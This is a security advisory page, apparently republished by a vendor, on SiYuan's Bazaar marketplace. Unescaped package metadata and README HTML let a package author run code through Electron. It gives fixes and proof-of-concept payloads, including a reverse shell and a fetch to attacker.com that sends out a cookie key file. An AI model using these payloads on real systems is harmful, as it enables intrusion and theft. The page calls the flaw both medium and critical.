GHSA-V3MG-9V85-FCM7

GHSA-V3MG-9V85-FCM7 is a medium-severity cross-site scripting (XSS) vulnerability in siyuan (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package, Marketplace XSS

Remote Code Execution via Malicious Bazaar Package, Marketplace XSS

SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:

  1. Package metadata XSS (zero-click): Package displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.
  2. README XSS (one-click): The renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.

Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.

Affected Component

  • Metadata rendering: app/src/config/bazaar.ts:275-277
  • README rendering (backend): kernel/bazaar/package.go:635-645 (renderREADME)
  • README rendering (frontend): app/src/config/bazaar.ts:607 (innerHTML)
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true)
  • Version: SiYuan <= 3.5.9

Vulnerable Code

Vector 1: Package metadata, no HTML escaping (bazaar.ts:275-277)

// Package name injected directly into HTML template, NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description injected directly, NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>

Note: The title attribute uses escapeAttr(), but the actual text content does not, inconsistent escaping.

Vector 2: README rendering, no Lute sanitization (package.go:635-645)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance, SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in markdown preserved
    return
}

Compare with the SiYuan note renderer in kernel/util/lute.go:81:

luteEngine.SetSanitize(true)  // Notes ARE sanitized, but README is NOT

Frontend innerHTML injection (bazaar.ts:607)

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML from README
});

Proof of Concept

Vector 1: Malicious package manifest (zero-click RCE)

A malicious plugin.json (or theme.json, template.json):

{
    "name": "helpful-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
    },
    "version": "1.0.0"
}

When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.

Vector 2: Malicious README.md (one-click RCE)

# Helpful Plugin

This plugin does helpful things.

<img src=x onerror="require('child_process').exec('calc.exe')">

## Installation

Follow the usual steps.

When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.

Reverse shell via README

# Cool Theme

<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">

Data exfiltration via package name

{
    "displayName": {
        "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
    }
}

Attack Scenario

  1. Attacker creates a GitHub repository with a plugin/theme/template
  2. Attacker submits it to the SiYuan Bazaar (community marketplace)
  3. Package manifest contains XSS payload in displayName or description
  4. Zero-click: When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE
  5. One-click: If the package README also contains raw HTML, clicking to view details triggers additional payloads

The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.

1. Escape package metadata in template rendering (bazaar.ts)

// Use a proper HTML escape function
function escapeHtml(str: string): string {
    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
              .replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>

2. Enable Lute sanitization for README rendering (package.go)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

Impact

  • Severity: CRITICAL (CVSS 9.6)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Full remote code execution via Electron's nodeIntegration: true
  • Zero-click for metadata XSS, triggers on page load
  • Supply-chain attack vector targeting all Bazaar users
  • Can steal API tokens, session cookies, SSH keys, arbitrary files
  • Can install persistence, backdoors, or ransomware
  • Affects all SiYuan desktop users who browse the Bazaar

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

siyuan (<= 0.0.0-20260313024916-fd6526133bb3)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for GHSA-V3MG-9V85-FCM7 yet.

In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-V3MG-9V85-FCM7? GHSA-V3MG-9V85-FCM7 is a medium-severity cross-site scripting (XSS) vulnerability in siyuan (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which versions of siyuan are affected by GHSA-V3MG-9V85-FCM7? siyuan (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
  3. Is there a fix for GHSA-V3MG-9V85-FCM7? No fixed version is listed for GHSA-V3MG-9V85-FCM7 yet. Monitor the advisory for updates and apply mitigations in the interim.
  4. Is GHSA-V3MG-9V85-FCM7 exploitable, and should I be worried? Whether GHSA-V3MG-9V85-FCM7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-V3MG-9V85-FCM7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-V3MG-9V85-FCM7? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.

Stop the waste.
Protect your environment with Kodem.